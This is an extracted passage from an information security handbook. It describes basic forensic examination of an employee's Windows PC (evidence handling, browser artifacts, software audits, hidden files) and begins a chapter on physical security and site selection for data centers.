Isolation of Equipment Should you need to isolate or quarantine equipment as a part of your investigation, you need to take a few steps to (1) ensure protection of the equipment, (2) isolate and protect data from tampering, and (3) secure the investigation scene. First, you need to make sure that you have the authority to take the equipment. If you are taking any equipment, you should first get authorization from management, and if you take working equipment arrangements will have to be made to replace it while you conduct your investigation. The first thing to do is to be sure that the PC you are about to take as part of your investigation is the correct unit, the one actually used in the illegal activity by the employee under investigation. This can be done by checking the asset records, or the records that are kept in some corporations by the operations department. If you need to take an employee’s PC, you must have a witness and have the employee sign a form stating that you took the PC. Record the serial number, make, and model; when you took it; and the reason for taking it. If you do not have such a form, still somehow record what action was taken, obtain the employee’s signature, and secure the suspect equipment. Any time it becomes necessary to take an employee’s PC, you must move quickly to ensure that the evidence is preserved intact and not tainted, altered, or even destroyed.
621
622
Information Security Management Handbook
When you have the PC in your possession, you need to preserve the “chain of evidence.” You can preserve the chain of evidence by making sure that neither you nor anyone else is left alone with the equipment. You should always record your actions with the equipment. A good way to record all the actions and whereabouts of equipment or any other piece of evidence under investigation is to keep a log. This log should show (1) who has access to the equipment, (2) who retains control over the log, and (3) where the log is stored. Additionally, you should record the when (dates and times), where, and why of your every action, so every minute you have the equipment or data in your possession is accountable. Even if you put the PC in a locked cabinet or secured area, this action must be recorded in the log. One of the first things you should do with the PC is to “ghost” it by backing up everything on the PC. In this way, you can make sure that you will not lose any data when you are conducting your investigation. Ghosting the data preserves the original data that might be disturbed during the investigation. For the backup of any data under investigation it is very important to make sure that the programs used to perform this backup are independent and have integrity; that is, the programs should not be under the influence or control of any person or other program or system that is outside the investigation team. The integrity of the data and equipment has to be ensured by the use of programs that will not alter the original data in any way, either intentionally or accidentally. A number of programs are used to perform such backups that are independent and have integrity. One such program is SafeBack, freeware that is available on the Web.
Isolation of Files Not all the data required for an investigation will reside on a user’s PC; therefore, you will need to gain access to the same files and directories that the user has access to. The first thing to do is to disable the user’s ID. Be sure that the administrator verifies how the user’s profile and accounts might be affected if the user’s ID is disabled. Only after verifying that no data will be lost, altered, or destroyed by disabling the ID should the administrator proceed to disable the user’s ID. Security personnel or someone with administrative authority should disable the users’ ID. Operations personnel or a systems/data security office can do this. The easiest way to disable the user’s ID is to change the password, but this is not the best approach, as the user could regain access if he or she is able to guess the new password. Be sure that the administrator disables the ID but does not delete it. In some security setups, deleting a user ID will cause data and files to be deleted as well. Because this is not what you want to happen, only disable the ID. When the ID is disabled, the next and most important step is to copy all the files to which the user had access. This provides a backup for your investigation, as the data cannot be quarantined. The confiscated data, however, cannot be used by the business for as long as it takes to conduct your investigation. Operations or security personnel should have paper files with access requests, and they can run a report that shows what the user had access to on the system. Make sure the list or report they give you contains the group access and public access files for the user. You need to investigate all of the places a user could have copied or hidden data. For the investigation, you might be able to ignore those files with read-only access, but it is always best to be sure and get it all. Now that you know what the user had access to, request that operations personnel copy the files into a secure location that only you and your team have access to. Copy the file structure as well — all directories and subdirectories. Make two copies of the data: one as a backup and one for you to use in the investigation. This is similar to taking a picture of the crime scene before you start moving things around. Now that you have a copy of the data to use, refer to the following sections in this chapter which provide various examples of potential investigative areas and demonstrate how you can use the data collected as part of your investigation.
Tracking Web Sites Visited If your investigation requires that you track what Web sites have been visited by an employee, you should begin by reviewing the following items:
How To Begin a Non-Liturgical Forensic Examination
623
FIGURE 50.1 Cookies subdirectory file contents.
• • • • •
Cookies Bookmarks History buffer Cache Temporary Internet files
Here we briefly define each of these items, where to find them, how to capture the findings, and how to evaluate what you have found.
Cookies Cookies are messages given to a Web browser by a Web server. The browser stores the message in a text file called cookie.txt. The message is then sent back to the server each time the browser requests a page from the server. The main purposes of cookies are to identify users and possibly prepare customized Web pages for them. When you enter a Web site that uses cookies, you may be asked to fill out a form providing such information as your name and interests. This information is packaged into a cookie file and sent to your Web browser, which stores it for later use. The next time you go to the same Web site, your browser will send the cookie to the Web server. The server can use this information to present you with custom Web pages. Thus, for example, instead of seeing just a generic welcome page, you might see a welcome page with your name on it. The name cookie evolved from UNIX objects called magic cookies. These are tokens that are attached to a user’s ID or program and change depending on the areas entered by the user’s ID or program. Cookies are also sometimes called persistent cookies because they typically stay in the browser for long periods of time. You will find cookies on the hard drive of the PC, usually the C: drive. Cookies is a subdirectory under the Windows directory. The best way to access the Cookies subdirectory and subsequent files stored there is via MS Windows Explorer (see Figure 50.1). When you open this directory using Windows Explorer, you will find a listing of the Cookies for those Web sites that you have visited. If there are no files under this directory, they have been deleted. If there are files under this directory, you can view the dates and times they were last accessed. You will also see the ID that was used to access these sites on this PC.
624
Information Security Management Handbook
FIGURE 50.2 Disk clean-up program from Windows 98.
Cookies can be deleted in several ways. One way is manually. The user can access the cookies folder and delete all information from the folder. If the deletion was done manually, one place to look for cookies is in the Recycle Bin. There is a Disk Cleanup program that comes with Windows 98 and higher that deletes the information in the following folders: Cookies, Temporary Internet, Downloadable Program Files, Recycle Bin, Old ScanDisk Files, and Temporary Files. See Figure 50.2 for a look at the Disk Cleanup program. The Disk Cleanup program does not leave any place to look for deleted files. There are also Cookie Manager programs that will automatically delete old or expired cookies from the cookie folders. These programs allow users to set their own expiration and archive dates. For example, the user can set the Cookie Manager to delete or archive all cookies more than five days old. Some of these manager programs put the deleted cookies into the Recycle Bin, and some put them in a temporary archive folder. To find these archive folders, it is necessary to research the program. For your investigation, you need to determine where each cookie takes you, keeping in mind that cookies can be named many things (see Figure 50.1). By seeing where each cookie takes you, you can determine what the user has been doing on the Web sites where the cookies came from. Note the date and time of each cookie; these indicate when the cookies were created or accessed by the user for the first time for a particular site. However, some cookies are generated without the user actually visiting a particular site. These magic cookies, which are generated without a user having to actually access a particular site, are often marketing gimmicks or ploys to get the user to go to their Web site. To determine where a user actually visited, you need to compare the cookies files to the history files. History files are described later in this chapter.
Bookmarks A bookmark is a marker or address that identifies a document or a specific place in a document. Bookmarks are Internet shortcuts that users can save on the Web browser so they do not have to remember or write down the URL or location of Web sites they might like to revisit in the future. Nearly all Web browsers support a bookmarking feature that lets users save the address (URL) of a Web page so they can easily revisit the page at a later time. Bookmarks or favorites are stored in two places. One is in the Web browser under Favorites (see Figure 50.3). Another is on the C: (or hard) drive under the Windows folder, in a subfolder called Favorites (see Figure 50.4).
How To Begin a Non-Liturgical Forensic Examination
625
FIGURE 50.3 Favorites from a Web browser (Explorer).
The bookmarks or favorites are stored under the user’s desired names. By clicking on each of the bookmarks, you can visit the same Web sites the user has. Because bookmark names can be changed by the user, by sure to examine each one carefully. Avoid casually skipping over an apparently irrelevant bookmark simply because it does not look like it would be pointing to an unauthorized Web site (e.g.,
FIGURE 50.4 Bookmarks from hard-drive view.
626
Information Security Management Handbook
FIGURE 50.5 History buffer from Web browser.
PrettyFlowers@Home). There is no real way to hide a bookmark, but users can bury a bookmark in a folder they create in the bookmark area, so be sure to open any folders you see in the Bookmarks listing. An advantage of viewing the favorites listing in the C: drive view is that you can see the dates and times when the bookmarks were created or modified; however, this does not provide you with a listing of the times and dates when the sites were actually visited or indicate how frequently they have been visited.
History Buffer A buffer is a temporary storage area, usually in RAM. The purpose of most buffers is to act as a holding area that allows the CPU to manipulate data before transferring it to a device (e.g., a printer or other external device). Because the process of reading and writing data to a disk is relatively slow, many programs keep track of data changes in a buffer and then copy the buffer to a disk; for example, word processors employ a buffer to keep track of changes to files. When the user actively saves the file, the word processor updates the disk file with the contents of the buffer. This is much more efficient than accessing the file on the disk each time a change is made to the file. Note that because changes are initially stored in a buffer, not on the disk, all changes will be lost if the computer fails during an editing session. For this reason, it is a good idea to save files periodically. Most word processors automatically save files at regular intervals. A history buffer is a Web browser storage area of URL sites. The Web browser’s history buffer shows you a list of what URLs or sites have been visited and what screens have been opened under each URL (see Figure 50.5). To get to the history buffer, go to the Web browser. On the tool bar you will find an icon or button called History (see Figure 50.5). The history buffer can be cleared out by the user simply by highlighting and deleting the items on the list. The deleted contents from this list are not stored anywhere else in the Web browser, but they can still be found in the hard-drive history buffer. Viewing the hard-drive history buffer is done in a little different way (see Figure 50.6). This history buffer can
How To Begin a Non-Liturgical Forensic Examination
627
FIGURE 50.6 History buffer from hard-drive view.
be viewed via the path Windows → History. This history buffer will show you the days of the week that the user actually accessed the Web. By opening one of the days of the week subfolders, you can see the actual listings of the URLs visited by the user and the time and dates the sites were last visited. By combining each day’s lists, you can identify a pattern of visitation (and browser utilization) for each Web site. Such information may document or prove that an employee (or at least the individual who sat at the particular PC under review) was accessing the Web: (1) in violation of company policy; (2) during working hours instead of only during predetermined allowable times (i.e., lunch breaks); (3) on weekends or during other off-schedule, non-normal times when employees or other personnel should not be in the building; or (4) to visit unapproved or unauthorized sites.
Cache Cache can be either a reserved section of main memory or an independent high-speed storage device. Two types of caching are commonly used in personal computers: memory caching and disk caching. A memory cache, sometimes called a cache store or RAM cache, is a portion of memory made of highspeed static RAM (SRAM) instead of the slower and less expensive dynamic RAM (DRAM) used for main memory. Memory caching is effective because most programs access the same data or instructions over and over. By keeping as much of this information as possible in SRAM, the computer avoids accessing the slower DRAM. Some memory caches are built into the architecture of microprocessors. The Intel 80486 microprocessor, for example, contains an 8K memory cache, and the Pentium has a 16K cache. Such internal caches are often called Level 1 (L1) caches. Most modern PCs also come with external cache memory, referred to as Level 2 (L2) caches. These caches sit between the CPU and the DRAM. Like L1 caches, L2 caches are composed of SRAM but are much larger. Disk caching works under the same principle as memory caching, but, instead of using high-speed SRAM, a disk cache uses conventional main memory. The most recently accessed data from the disk (as
628
Information Security Management Handbook
FIGURE 50.7 Temporary Internet files.
well as adjacent sectors) is stored in a memory buffer. When a program needs to access data from the disk, it first checks the disk cache to see if the data is there. Disk caching can dramatically improve the performance of applications because accessing a byte of data in RAM can be thousands of times faster than accessing the same byte on a hard disk. When data is found in the cache, it is called a cache hit, and the effectiveness of a cache is judged by its hit rate. Many cache systems use a technique known as smart caching, in which the system can recognize certain types of frequently used data. Why is this cache important to computer forensics? The last set of instructions or data that was saved in the cache might provide the evidence you need for your investigation. Unfortunately, capturing the cache information is tricky and can only be done with special programs.
Temporary Internet Files Temporary Internet files are “image captures” of each screen or site that you visit when you access the Internet or an intranet (see Figure 50.7). Temporary Internet Files is a subfolder under the Windows folder on the C: drive (or hard drive) of the PC. The advantage of looking at the temporary Internet files compared to any other files is that they show you the address of the site visited and when it was last modified, last accessed, and last checked. This can be very useful when gathering evidence regarding too much Internet access or inappropriate Internet access. These files can also be useful in proving a pattern of log-on and duration times.
Tracking Log-On Duration and Times If you need to review log-on duration and times for a given user, you should contact the organization’s network operations group (or similarly named or empowered department). This group can provide reports on any given IP address, user ID, and the times that the IP address and ID were logged into the network. Some of these reports can actually tell what addresses the user accessed and when. The most
How To Begin a Non-Liturgical Forensic Examination
629
FIGURE 50.8 Recent document list from Start menu.
basic report should be able to tell when the ID was logged into the system and when it logged off. With some of the current system architecture, the reports track and log all user activity down to the keystroke; however, this kind of detailed logging can drag down the performance of servers so logging is not always done to this level of detail. You must ask your network operations personnel what type of reporting and subsequent information is available. Ask for the entire detail report and see what they record; do not just ask for the basics. You might save time and effort if you ask for everything up front. You should ask for not only the activity report but also server monitor reports that pertain to the user, traffic monitoring reports, and site click-through reports. You want every report that exists that might show what a given user was doing at any moment. You might be surprised at just how much information is available and how eager operations staff personnel are to apply their expertise. Some of the evidence you can gather to help determine log-on and duration times can be derived from the Temporary Internet Files and Recent Documents lists. These files can help establish and support patterns of use. Although a smart user might clean up these files frequently by using the Disk Cleanup utilities that Windows provides, it is always a good idea to check to see what information is still available. The cleanup utilities can be accessed by Start Menu → Programs → Accessories → Disk Cleanup. These utilities erase the Internet files, temporary files, and most cookies. See prior sections of this chapter on how to find and access temporary files.
Recent Documents List The Recent Documents list can show you the latest documents that a user has accessed. There are two ways to see this list of documents, but only one shows you when the items on the list were accessed. First, you can see the documents from the Start menu, under the Documents “tab”/selection. You can click on any one of the documents listed to bring the document is up on the screen (see Figure 50.8). You can also access the same list, via the Recent subfolder under the Windows folder (see Figure 50.9).
630
Information Security Management Handbook
FIGURE 50.9 Recent Documents list from hard-drive view.
This view will give you the name of the document and when each was last modified. Windows 95 does not have this directory; only Windows 98 and more recent copies of Windows have a Recent directory.
Tracking Illicit Software Installation and Use If you are investigating a user who may be loading illegal, illicit, or non-work-related software on his or her PC, there are a number of places to check within the user’s PC to prove or disprove these unauthorized (and maybe even illegal) actions. Some of these key places include the System Registry and System Information, or the contents of the hard drive can be viewed. Before you begin this part of an investigation, you must first get a listing of all approved software that can reside on a given PC. This list most probably contains things such as Word, Excel, Microsoft Office, and other work-related software. There should be a master list (i.e., database) of what software resides on every PC that operations maintains; however, due to some site license agreements, software appearing on a master checklist that operations personnel use to set up new PCs might not be on every PC. The company policies and procedures should have an outline of the software that is not permitted to be loaded on a company-owned PC. The most recognizable programs that are usually not work related are games. When looking for these types of programs, look carefully at the names of the files; users often change the names to avoid detection. To double-check the legitimacy of a program, launch all .exe files to reveal what is actually behind a file name and what resides on the PC. Remember that this procedure should be carried out on the mirror-imaged, working copy data, not on the original PC. This prevents corrupting seized data as well as disrupting networked services or other legitimate data that may reside on the PC in question. As you are checking the software list, you should also note all the serial numbers and registration numbers of all software that resides on the PC. These numbers should be compared to the software licenses held by the company to ensure that the loaded software is both legal and authorized. For example, a user might have MS Access on his or her PC, but the company might not have authorized or actually
How To Begin a Non-Liturgical Forensic Examination
loaded this software on that user’s PC. The user might have obtained certain software packages in some manner not complying with company procedures and thus it has been illegally installed on the PC. This is the most common incidence of illegally installed software on company equipment today. Such software installations are risky to a company because software license infringement can be expensive if it is discovered and not corrected. So, how do you actually begin to search for this evidence? First, you need your lists of what can be on any given PC and what is registered to be on the specific PC you are investigating. You are also looking for a list of all information that pertains to the PC under review — specifically, information such as verification of assignment of the PC to a specific employee and, if available, all software licensed for the given PC. You should then check and compare the information on these lists against the master list maintained by operations personnel. Next, you should list all the programs that currently reside on the PC. One way to do so is to use the System Registry files, referred to as a system review. Another method is to review all files via the PC directories (i.e., Explorer), referred to as a manual review. Both methods are discussed briefly in the following paragraphs.
The System Review The system review can be conducted using some automated methods. One of these methods is to use the System Registry files. There are several system registries. We will discuss the two primary Microsoft registry files: (1) a list of all software loaded on the PC, and (2) a more comprehensive list of what is loaded, when it was loaded, and how it is configured. Both can be used to verify that illegal or non-workrelated software was loaded onto a given PC or hardware added. A simple list of what has been loaded can be viewed by accessing the path from the Control Panel to the Add/Remove Programs icon (see Figure 50.10). A more comprehensive list of software and hardware that have been loaded onto a PC can be obtained via the Microsoft System Information panels. The following path can access these: Start → Programs → Accessories → System Tools → System Information (see Figure 50.11). This screen shows basic system information for the PC being investigated. The most useful information about a PC can be found under the Components directory. This is where you will find some history — when things were loaded and last modified (see Figure 50.12). Three levels of information are shown on this screen: Basic, Advanced, and History. All three can provide needed information in an investigation, depending on what you are looking to prove. The Components/System/Basic information can help determine if illegal or non-work-related software was loaded onto a PC (see Figure 50.12). To determine if there is illegal software or non-work-related software
632
Information Security Management Handbook
FIGURE 50.11 System information base screen.
FIGURE 50.12 System Components/System/Basic information.
on the PC, first you need a list of all legal software that should be on the machine, along with any serial or license numbers for the software. This list should be available from operations personnel who distribute and fix the PCs. Next, take this list and verify what software is on the machine; be sure to check the serial numbers. The components/system/basic information list tells you what software is on the machine and when it was loaded, but the serial numbers will be in the “About” information or start-up screen for the software. If the software is not work related, it will not be on your list from the operations department. Another view to see if software has been loaded onto the PC from the Web is available via Windows Explorer, in the Windows Directory under the Download Program subfolder (see Figure 50.13). The Components/System/History information can show when a component (piece of hardware or firmware) was loaded and when it was last modified (see Figure 50.14); however, many components are modified
How To Begin a Non-Liturgical Forensic Examination
633
FIGURE 50.13 Downloaded programs viewed from Windows Explorer.
when the user reboots or turns on the computer. The “red herring” items to look for in this history would be things that were not issued with the computer and the user added himself. These might include graphics cards, emulators, or sound cards. The Component/History files are not much different in the information that they provide (see Figure 50.14). Figure 50.15 shows what has been updated in the last seven days. The Complete History file shows when items were loaded or when they were modified since last being loaded.
FIGURE 50.14 System Information/Components/System/History.
634
Information Security Management Handbook
FIGURE 50.15 System Information/Components/History for the last seven days.
The Manual Review One of the reasons for conducting a manual review in addition to a system review is to be sure that you have covered all of the bases. What the manual review will tell you that the system review will not is what actual applications reside on the PC. The first step in the manual review is to locate all executable programs and applications on the PC. Start Explorer — not the Web browser Internet Explorer, but Microsoft Explorer. From the top menu select Tools → Find → Files and Folders. This will give you a pop-up box where you can identify what you want to search for. In this case, we use a wild card query to find all files ending with .exe, or all executable files. Set the “Look in” field to the drive you are investigating, which is usually the C: drive. Select the option to look at all of the C: drive. See Figure 50.16 for an example of the results of this search. This can be quite an extensive list; however, you should check each of these references to ensure that they do belong to authorized programs. Most unauthorized programs are put under the Programs directory, but do not assume anything; check them all. You can check them by actually launching them. You can do this by clicking on the file from the Find screen. To record your findings, it might be best to print this screen and manually check off each item on the list as you verify it. A quick review of the items in the list might narrow your investigation. If you see icons on the far left that represent something suspicious, you might investigate these first. Suspicious items might include game or playing card icons. See Figure 50.17 for an example of an excerpt of the full list. Figure 50.17 shows an item on the list with a playing card icon — see the freeplus item? This is actually a game, and for most companies and systems may be a violation and it should not be installed on the PC. Another thing to watch out for on your listing of files are Hidden files (see discussion below). You need to check the system standards and settings to determine if the File Manager allows you to see these or not before assuming that your file list is complete.
Hidden Files A hidden file is a file with a special hidden attribute turned on so the file is not normally visible to users. Hidden files are not listed when you execute the DOS DIR command, but most file management utilities allow you to view hidden files. DOS hides some files, such as MSDOS.SYS and IO.SYS so you cannot accidentally corrupt them. You can also turn on the hidden attribute for normal files, thereby making
How To Begin a Non-Liturgical Forensic Examination
635
FIGURE 50.16 Find files named *.exe.
them invisible to casual snoopers. On a Macintosh, you can hide files with the ResEdit utility. Why are hidden files important to your investigation? If the Folder Options is not set to allow you to view hidden files, you might miss evidence. To review the settings on the PC you are investigating to verify that you are seeing hidden files, you need to launch Explorer. From the top menu within Explorer, select View → Folder Options → View tab on the pop-up box (see Figure 50.18). If the radio buttons are marked so the hidden files are not to be shown, you will not see all the files. You should reset these so you can see the hidden files and know that you have a complete list.
How To Correlate the Evidence Now that you have captured the file evidence and the data, you can graph an access pattern or list the illegal software and when it was loaded. Next, you need to check the access and download dates and times against the timesheets, surveillance, and other witness accounts to ensure that the suspect under investigation actually had the opportunity to engage in unauthorized acts using the PC in question. In other words, you need to ensure that the employee under investigation actually had access to the equipment on the dates and times listed in the evidence. For example, if the employee had a desktop PC and did not come to work on the date that illegal software was downloaded on his PC, then you might need to look for other supporting evidence (e.g., access logs indicating potential access from an external/ remote location). Be advised that the investigator must obtain solid evidence that the employee under investigation actually had an opportunity and was actually using the PC at the time that the unauthorized
FIGURE 50.17 Results of search to find files named *exe (excerpt of list).
636
Information Security Management Handbook
FIGURE 50.18 Folder options to see hidden files.
action took place. Failing to link the employee to the PC and to corroborate and substantiate the evidence, in an irrefutable manner, will result in an inability to hold the employee accountable for his or her actions and prosecute the employee via the existing legal system. When reviewing the evidence you have gathered, you need to follow and show the facts — and only the facts. If you have to make leaps in your logic to get from point A to point B, then you do not have enough evidence to substantiate a claim. Also, you need to ensure that you can adequately explain how the employee under review was able to commit the offense, illegal act, unauthorized action, etc. and must also be able to present evidence regarding how it was done. This proof should be simple to follow so there is no doubt that the offense was committed. Someone’s career, in addition to his or her legal freedoms, could be on the line as a result of your findings, as well as the organization’s liability (for a wrongful or unsubstantiated accusation). Thus, you want to be sure of what you have found.
References 1. Webopedia, www.webopedia.com (computer terms and definitions Web site). 2. Tinnirello, P., ed. 1999. Handbook of Systems Development 1999, Boca Raton, FL: Auerbach.
Domain 10 Physical Security
638
Information Security Management Handbook
This domain discusses the importance of physical security with regard to protecting the valuable information assets of an organization. It provides protection techniques for the entire facility, from the outside perimeter to the inside office space, including the data center and server rooms. According to many sources, the majority of threats occur from inside — that is, individuals who already have access to the resources. For this reason, physical security is just as relevant as information security because it is much easier to walk away with sensitive information than it is to eavesdrop on an Internet transmission. Although the challenges continue to evolve, physical security is still a fundamental control and plays a critical role in protecting the resources of an organization. It requires solidly constructed buildings, emergency preparedness, adequate environmental protection, reliable power supplies, appropriate climate controls, and external and internal protection from intruders.
Access Control Systems and Methodology
639
Contents Section 10.1 Elements of Physical Security 51 Physical Security for Mission-Critical Facilities and Data Centers......................................... 641 Gerald Bowman
This page intentionally left blank
51 Physical Security for Mission-Critical Facilities and Data Centers Gerald Bowman
Introduction In a study of security trends conducted in the summer of 2004, The ASIS Security Foundation, in cooperation with Eastern Kentucky University and the National Institute of Justice, released a report entitled ASIS Foundation Security Report: Scope and Emerging Trends. Of the security and information technology professionals surveyed, 46 percent identified computer and network security as their biggest concern. At the heart of concern for network security is the data center or mission-critical information technology facility where architectural, engineering, network, and building systems converge. Data center functionality can assume the traditional role of an enterprise computer room or more specific roles such as an Internet Service Provider (ISP), Application Service Provider (ASP), financial organizations, E-commerce, parcel shippers, government or defense industries, or other specialized purpose. Modern data centers are composed of layers of technical, facility, administrative support, and enduser space supporting a large computer room with vast amounts of processing and storage capability. Providing physical and cyber security for a mission-critical facility or data center can encompass a range of types of rooms and security needs. The building shell of the data center might contain the following types of spaces: • • • • • • • • •
Lobby and meeting rooms General offices Telecommunications closets Equipment rooms Electrical and mechanical equipment Technical, electrical, and mechanical support Storage rooms Loading docks Computer room
Loss or destruction of property in the typical built environment is typically limited to the value of the property and the costs associated with the actual replacement of the damaged property. As shown in Table 51.1, computer rooms and data centers carry a much higher price tag for loss or damage. The loss
641
642
Information Security Management Handbook
TABLE 51.1 Hourly Cost of Data Center Downtime Application Brokerage Credit card services Pay-per-view Home shopping Catalog sales Airline reservations
Industry
Hourly Cost
Finance Finance Media Retail Retail Transportation
of sensitive corporate research and development or financial information can close down an otherwise healthy company. Disaster Recovery Journal has reported that, when businesses experience catastrophic data loss, 43 percent never reopen, 51 percent reopen but close within two years, and only 6 percent survive longer term. In light of this information, addressing information security (InfoSec) issues becomes mission critical to every business.
Characterizing Data Center Security The most frequently benchmarked performance metric for computer rooms and data centers is not an evaluation of the extent of damage or amount of loss that could be incurred by a security breach but rather the amount of time total access to stored data or processed capabilities is available. Although availability is key to cyber security, it is not high on the list of priorities for the physical security professional. The Uptime Institute of Santa Fe, NM, is responsible for a commonly referenced, tiered classification for computer room and data center performance. Table 51.2 shows Uptime’s four-tiered, holistic classification, in which measured availability ranges from an expected reliability of “four nines,” or 99.995 percent, for tier IV facilities down to just 99.671 percent for tier I facilities. A few points to the right of the decimal do not seem very significant until one computes the downtime and assigns a dollar value to each hour or minute of downtime. Because the difference in downtime between a tier I and tier IV data center can be over 28 hours and because the value of even an hour of downtime can run into the millions of dollars, a strong business case can be made for maintaining the high availability of data. When considering the tiered classifications of the Uptime Institute and others, it should be noted that a high rating applies only to the availability of the data and redundancy of the supporting systems. The Uptime Institute’s tiered rating does not incorporate the potentially catastrophic effects of failure with the other two foundations of the CIA (confidentiality, integrity, and availability) triad. This chapter deals primarily with the physical security strategies, processes, roles, and equipment necessary to protect the availability of the mission-critical facility and data center; however, much of the text also address one or more areas of physical security, including access control, surveillance, and perimeter protection. The predominant theme for this chapter is prevention.
Site availability (%) Annual IT downtime (hr) Construction ($/ft) Year first deployed Months to implement Redundancy
99.671 28.8 450 1965 3 N
99.749 22.0 600 1970 3–6 N+1
99.982 1.6 900 1985 15–20 N+1
99.995 0.4 1100+ 1995 15–20 2(N + 1)
Physical Security for Mission-Critical Facilities and Data Centers
643
Physical Security for Data Centers The fundamental principles for protecting assets that are used by physical security professionals worldwide apply equally to data centers. Ensuring that the asset is available to its owner, is protected from damage or alteration, and is not taken or copied without permission is universal to both physical and information security. It is generally agreed that the potential for damage or loss can be categorized into seven potential categories of threats to objects, persons, and intellectual property: • Temperature — This category includes sunlight, fire, freezing, and excessive heat. • Gases — This category typically includes war gases, commercial vapors, humidity, dry air, suspended particles, smoke, smog, cleaning fluid, fuel vapors, and paper particles from printers. • Liquids — This category includes water and chemicals, floods, plumbing failures, precipitation, fuel leaks, spilled drinks, and acid. • Organisms — This category includes viruses, bacteria, people, animals, and insects. Examples would be key workers who are sick, molds, contamination from skin oils and hair, contamination from animal or insect defecation, consumption of media and paper, and shorting of microcircuits due to cobwebs. • Projectiles — This category includes tangible objects in motion and powered objects. Examples would be meteorites, falling objects, cars and trucks, bullets and rockets, explosions, and wind. • Movement — This category typically involves collapse, shearing, shaking, vibration, liquefaction, flows, waves, separation, and landslides. Examples would be dropping or shaking fragile equipment, earthquakes, lava flows, sea waves, and adhesive failures. • Energy anomalies — This category includes electric surges or failure, magnetism, static electricity, aging circuitry, radiation, sound, and light, as well as radio, microwave, electromagnetic, and atomic waves. Examples would be electrical utility failures, proximity to magnets and electromagnets, carpet static, decomposition of electrical circuits, cosmic radiation, and explosions. Regardless of how the threats to data, property, or well-being are classified, identification of the source of potential risk remains key to mitigating these risks. When considering threats to sensitive or missioncritical data, it is easy to envision hacking, identity theft, and corporate espionage as the key threats. The reality is that physical threats, including natural disasters, interruption of utilities, equipment failure, weather, sabotage, human error, and other seemingly less sinister events, represent a greater likelihood of catastrophic loss of data. Of the physical threats listed above, the threat from human beings remains the most significant with regard to the reliable operation of the computer room or data center. Even without the impact of sabotage, hacking, and other malicious acts, the risk from the human factor remains high. Some research indicates that up to 80 percent of all unplanned downtime results from people and process issues. This threat can be manifested in failure to perform routine maintenance, ignoring or overriding alarms, or even performing a task out of sequence. In this chapter, the reader will observe that reducing the risk from the human factor is a central theme to data center design and operation. This chapter evaluates security at four levels: 1. 2. 3. 4.
Site Perimeter Building Computer room
It is important to envision layered physical security as being comprised of ring upon ring of concentric circles. Beginning with layer 1 (site security) and ending with layer 4 (computer room security), the security designer addresses issues unique to the potential threats encountered. Although the processes, building attributes, and hardware contribute to a secure IT facility, they are utilized somewhat differently within each successive layer.
644
Information Security Management Handbook
The Site When selecting a greenfield or existing site with structures, it is important to consider a few key aspects of the proposed location for the construction of a data center or mission-critical facility. The location of a mission-critical facility can have significant impact on a company’s ability to restore operations following a natural or manmade disaster. In New York City’s financial district, some important lessons were learned following the 9/11 disaster. According to Bruce Fleming, Verizon’s Divisional Technology Officer, a number of site-related obstacles challenged restoring services from the central office (CO) located at 140 West Street, within the World Trade Center (WTC) complex. In a 2002 Armed Forces Communications and Electronics Association (AFCEA) presentation, Fleming said that in the CO a major fiber bundle was cut by a falling I-beam, it was flooded by 10 million gallons of water, and it finally lost all electrical power. Attempts to bring in generators, temporary telecommunications and data equipment, fuel, and manpower were all complicated by a number of factors, such as restrictions on the delivery of diesel fuel into an active fire zone and control of credentials changing four times within the first week. Even though the President of the United States had publicly prioritized restoration of service to the crippled financial district, lack of coordination among local authorities delayed Verizon’s work. Factors affecting the selection or rating of a potential site for a data center or mission-critical facility include: • Crime — Obtaining and analyzing local crime statistics can provide valuable insight into potential risks specific to the potential site. High incidences of crimes against persons or property could inflate the cost of security countermeasures required to protect the facility’s assets, such as employees, visitors, contractors, delivery and mail services, utilities, telecommunications, and the building shell. Discovering a high rate of car theft, kidnapping, sexual assaults, or murders can have a significant effect on the ability to hire and retain key resources, not to mention the impact on insurance rates and client or internal confidence. Any history of arsons, burglaries, and vandalism also should be considered when evaluating a site and when deploying security measures. • Emergency services — The emergency service infrastructure consists of law enforcement, fire, and emergency medical services. Being familiar with the local and regional emergency services and establishing a strong relationship with each will go a long way toward proactively addressing crime, fire prevention, and reducing downtime in the event of a natural or manmade disaster. Knowing which federal, state, or local agency assumes control in what instances can allow disaster recovery planners to develop adequate strategies to deal with credentialing, access to restricted areas, alternative access or egress options for local highways, early warning systems, and other vital data. In the event of a major incident, the data center will benefit from cooperation by and with the multiple federal, state, and local agencies. • Telecommunications — All public and private users depend on the public switched telephone network (PSTN); the Internet; cellular, microwave, satellite, and private enterprise networks; or a combination of them for voice and data services. In their efforts to maintain over 2 billion miles of copper and optical fiber cable, as well as some 20,000 switches, access tandems, and other network equipment, telecommunications providers face increasing challenges to protect their critical infrastructure. Identifying local telecommunications facilities, available redundancy, and reliability is mandatory when selecting a site for data facilities. Other design considerations include obtaining services from multiple providers or, at a minimum, distinct central offices or points of presence (POPs), using redundant trenches or conduits when on the site, and even installing wireless point-to-point backup circuits. • Transportation — People are necessary for the continuous operation of a data center. Sooner or later employees, contractors, and employees of service companies will need to travel to or from the facility. They will need to use cars, trains, buses, airplanes, boats, or some other form of wheeled, flying, or floating vehicle. The supplies that are required to run a data facility will have to be delivered and, conversely, some items will have to be removed, such as rubbish, backup media to be stored offsite, and equipment being sent out for repair.
Physical Security for Mission-Critical Facilities and Data Centers
645
In the event of a manmade or natural disaster, local authorities typically use control of the transportation infrastructure to stabilize the affected geographical area. Although this can reduce or prevent looting, rioting, or the escape of criminals, it can also prevent key personnel and resources from reaching an IT facility when they are needed the most. Also, the transportation infrastructure can be the source of threats. Airplanes can become flying missiles, cargo containers can carry dirty bombs, and public transportation can provide easy access for a vandal, thief, or terrorist to travel to and from the data center site after commission of a crime against persons or property. Another threat to the data center is traffic accidents. As a result of watching the stark images of the Oklahoma City bombing and Middle Eastern attacks, people are aware of the devastation that can be caused by vehicles used as intentional bombs; however, the same risk is present on our highways, where commercial trucks carrying large quantities of fuel or other explosive chemicals travel almost daily. Blast resistance as perimeter design criteria are addressed later in the Building section, but it is important to note that whether the threat is terrorism or accidental explosions, traffic accidents and patterns should be considered when evaluating a potential site, because in some cases the force from a fuel truck 500 feet away could require a 7-inch-thick concrete wall to protect the occupants and assets inside a building.
